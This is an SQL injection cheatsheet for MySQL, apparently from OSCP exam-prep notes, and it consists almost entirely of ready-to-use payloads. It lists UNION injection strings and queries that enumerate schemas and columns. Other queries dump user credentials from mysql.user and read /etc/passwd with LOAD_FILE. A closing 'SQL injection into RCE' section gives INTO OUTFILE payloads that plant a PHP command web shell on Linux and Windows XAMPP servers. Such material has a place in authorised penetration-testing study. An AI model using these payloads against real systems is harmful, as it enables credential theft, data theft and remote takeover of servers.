> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/web-applications/sql-injection/mysql-cheatsheet.md).

# MySQL Cheatsheet

```
SELECT database()
SELECT schema_name FROM information_schema.schemata
SELECT schema_name FROM information_schema.schemata LIMIT 1
SELECT schema_name FROM information_schema.schemata LIMIT 2,1    <-- Grab second entry output limit of 1 
SELECT group_concat(schema_name,":") FROM information_schema.schemata
SELECT group_concat(schema_name,"\r\n") FROM information_schema.schemata
SELECT group_concat(host,":",user,":",password,"\r\n") FROM mysql.user
```

```
SELECT schema_name FROM information_schema.schemata

```

```
select group_concat(TABLE_NAME,":",COLUMN_NAME,"r\n") from information_schema.COLUMNS where TABLE_SCHEMA = 'hotel'
```

```
select group_concat(host,":",user,":",password,"\r\n") from mysql.user
```

```
LOAD_FILE("/etc/passwd")
TO_base64(LOAD_FILE("/etc/passwd"))
```

```
'union select 1,2,3,4,5-- -

' union select 1, table_name, column_name, table_schema, 5 from 
information_schema.columns where table_schema=database() -- //
```

### SQL injection into RCE

```
select user()
```

Check write privileges

```
select group_concat(grantee,is_grantable,0x3c62723e) from information_schema.user_privileges
```

For Linux

```
union select ("<?php system($_GET["cmd"]);?>),2,3,4,5 into outfile
"/var/www/html/cmd.php" -- -
```

```
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, 
null, null INTO OUTFILE "/var/www/html/tmp/cmd.php" -- -
```

For Windows Xampp

```
union select 1,('<?php echo shell_exec($_GET["cmd"]); ?>'),3 into outfile 'C:\\xampp\\htdocs\\cmd.php'-- -
```